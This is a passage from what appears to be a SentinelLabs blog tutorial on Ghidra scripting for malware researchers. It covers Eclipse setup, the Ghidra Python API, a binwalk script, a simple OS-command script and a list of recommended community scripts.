    • Make sure to click Install anyway and click Restart Now.

  • The next step is to configure the location where Ghidra is installed.
    • Browse to GhidraDev->Ghidra Installations.
    • Click the Add button and navigate to the location where Ghidra is installed then click Apply and Close.

To make sure that everything has been setup correctly:

  • Open Ghidra then open the Code Browser window and navigate to the Script Manager Window->Script Manager, or click on the green play button on the icon bar.
  • Next, select AddCommentToProgramScriptPy.py and hit the Eclipse button on the top right hand side of the window.
  • In the Eclipse application, a window opens to Create a New Ghidra Project.
  • Click Next -> Next and enable the Jython interpreter that comes with Ghidra and click Finish.

Once this is done, you will be able to view the python script you’ve just opened.

In the left side pane, click the GhidraScripts disclosure button to view the Ghidra scripts already installed:

Ghidra’s API

One of the good things about the Ghidra API is it’s the same for both Java and Python, so you can use the Java scripts that are in the Scripts Manager as a guide to learn how functions are used and how they are called to make your script work. An example would be if you opened ShowCCallsScript.java in Eclipse.

Let’s explore this file as an example of how to dissect Ghidra’s API.

Open Ghidra’s code browser and select Window->Python. Once you’re in the interpreter in Ghidra’s code browser, explore currentProgram in this script, which returns an object containing the program’s hash.

The way I’ve learned Ghidra’s API was by using the help command in the python interpreter. Type help(currentProgram) to show the capabilities of the call. Ghidra’s API documentation is very informative.

Let’s dig deeper to learn more about the API. Type the same command but add a . and hit tab currentProgram. This allows you to see what you can call in the current program. You can see currentProgram.getListing(), but let’s select something different to understand how it works.

I’m going to select a SHA256 hash to display the hash like the screenshot below. Try hitting the Up button and select something that interests you.

The last example that I will give of the Ghidra API is how to get user input when working with scripts. The askBytes() function takes two arguments. The first argument is the title of the popup box and the second is the message to display next to the input field. I constantly use askBytes() for plugins that I write because it’s so handy when I need to add something. I will demonstrate this in the next section.

There are many resources online showing examples on how to work with Ghidra’s APIs. For the final piece of this section I will go over some of the commonly used Ghidra API methods that I use.

  • currentProgram.getExecutablePath(): gather information about the current program within a project
  • currentProgram.getName(): return the loaded program’s name
  • currentProgram.getMemory().getBlocks(): return a list of all memory blocks that contain any addresses in a given range
  • getFirstFunction(): retrieve the first function in the loaded binary
  • currentProgram.getFunctionManager(): manage all functions within the program
  • getGlobalFunctions(String Name): return a list of all functions in the global namespace with the given name
  • DirectedGraph(): creation of various graph structures including directional graphs and much more
  • DecompInterface(): a self-contained interface to a single decompile process, suitable for an open-ended number of function decompilations for a single program. I highly recommend looking at the API docs to dig deeper into this because it could be a blog post by itself.

Building Ghidra Scripts

Early in my reverse engineering career, I had a mentor that gave me a great tip. What he shared with me has stuck with me ever since, which was that for any task that you do find yourself doing three times, you must figure out a way to automate it. After that recommendation, I’ve always had the habit to build scripts to help me with mundane tasks. In this section, we will build some simple but useful scripts that will help with mundane tasks while reverse engineering.

Adding to an Existing Script

For this example, you will need to install the binwalk tool and ensure that it is in your $path. For Ubuntu, use apt-get install binwalk; for Mac users either sudo port install binwalk (for MacPorts) or brew install binwalk (for Homebrew); Windows users should follow this link for further instructions.

Browse to the binwalk plugin repo on github and download or copy the text, then add it to your python scripts folder /GhidraScripts/Ghidra Python Scripts. Download a random firmware binary. If you don’t know where to download firmware, a simple web search for “firmware downloads” will return a number of options.

Add the binwalk.py file into the Ghidra Python scripts folder, and open up Eclipse IDE->Ghidra Python scripts->binwalk.py.

Load the downloaded firmware that you’ve selected and open the code browser, then Scripts and find binwalk.py and run the script.

If you look at the script, the subprocess call runs the -c switch, which logs results to the file in a CSV format, and the -f switch, which logs the results to a file. This useful script bookmarks things it finds, as the picture below shows, with the Category name “binwalk”, a description, and a location.

Next, we are going to create a function that allows the reverse engineer to specify a switch for the binwalk to read and execute the input. Instead of just writing the code, I’m going to show you the screenshots and with what you’ve read in this post, you should be able to finish the script without me writing the code for you.

The screenshot below is a popup to enter the switch -e, which extracts any files that it finds in the firmware image. The next thing you have to do is to point it to a directory where the file is located and save all the files into that folder.

Explore the Existing Ghidra Scripts

Great! We’ve seen how easy it is to add and edit scripts, but there are naturally many useful scripts already included in Ghidra. No one wants to waste time reinventing the wheel, so let’s see what we already have at our disposal.

Let’s begin with the folder structure:

  • JUnit4 is an open source unit-testing framework for writing repeatable tests in Java.
  • JRE System Library is a folder that gets automatically added once Java Projects are created.
  • Referenced Libraries are libraries that are associated with Ghidra
  • Ghidra is where the the ghidra installation is located
  • Ghidra * scripts are folders where you’ll find the collection of existing scripts. There are over 100 scripts and many of them are very useful, so as noted above, check out what’s here before investing your time writing something that may already have been written for you!
  • I’m going through this because I feel it’s important, but for creating new scripts I usually just go to the Ghidra Python scripts folder and create a python file. Alternatively, you can go GhidraDev->New->Ghidra Script, which allows you to enter the script name, script type, Script author, Script category and Script description. Creating a Ghidra Script Project allows you to enter a project name, select the Project root directory and create a run configuration. This feature is good if you were creating multiple scripts.

    The last one is creating a Ghidra Module Project, which collects code from Ghidra Module template and adds it to your newly created module.

    Let’s Write Our First Complete Ghidra Script

    With that being said, go to your Ghidra Python Scripts folder, right click on the folder and create a file and name it os_command.py.

    The script’s metadata is important for the end user of the script, so the first thing we want to add is some lines to the beginning of the python script.

    The first line is where you would add your metadata comment on how you would use the script, which will allow the end user to read the comments by clicking on the script in the Script Manager’s window.

    Next, you can optionally add the author’s name.

    The third line is for the Category, which allows you to set where the script will be saved to in the Script Manager’s window.

    The menupath is the top-level menu path for the script and the last option to add is toolbar, which allows you to create an icon for the script. The image will appear on the toolbar as a button to launch the script.

    The next step is to write the script that you want to create. For this script, we want to write a script that will run a command locally. When reversing malware, I usually run a whois on domains and IP addresses that I find. The following screenshot shows the code with comments so that you can understand the purpose of each line.

    After saving this code, if you browse to the Script Manager window in Ghidra, you will see the os_command.py file, with the metadata information you provided in lines 1-6 displayed.

    To use the script, enter any OS command of your choice and the Ghidra script will run it and output the results in the console window.

    Top 5 Ghidra Scripts

    So, that’s a short intro to get you started with the incredibly useful world of Ghidra scripting!

    As I’ve said above, automation is really the key to becoming a more effective and productive malware analyst, and Ghidra scripting is an essential tool in your arsenal.

    Above, we also learned that there are many scripts provided by default in the Ghidra installation, meaning you don’t have to develop everything from scratch and you can learn from the scripts provided.

    Finally, I want to end with my top scripts for malware research using Ghidra. I have no doubt you will find them as incredibly useful on a daily basis as I do. Check them out:

  1. VTGrep: https://github.com/SentineLabs/VTgrepGHIDRA
    This plugin integrates functionality from VirusTotal web services into the GHIDRA’s user interface. The current version is v0.1, This plugin is not production-ready yet, and unexpected behavior can still occur and released without any warranty. This release integrates VTGrep into GHIDRA, facilitating the searching for similar code, strings, or sequences of bytes. Watch the how to video to understand how to use VTGrep.
  2. Binwalk: https://github.com/ghidraninja/ghidra_scripts/blob/master/binwalk.py
    Runs binwalk on the current program and bookmarks the findings. Requires binwalk to be in $PATH.
  3. Yara: https://github.com/0x6d696368/ghidra_scripts/blob/master/YaraSearch.py
    This Ghidra script provides a YARA search. It will place a PRE_COMMENT at the location of each match. It will set bookmarks for each match.
  4. Golang Renamer: https://github.com/ghidraninja/ghidra_scripts/blob/master/golang_renamer.py
    Restores function names from a stripped Go binary.
  5. Daenerys: https://github.com/daenerys-sre/source
    Daenerys is an interop framework that allows you to run IDAPython scripts under Ghidra and Ghidra scripts under IDA Pro with little to no modifications.

The post A Guide to Ghidra Scripting Development for Malware Researchers appeared first on SentinelLabs.

❌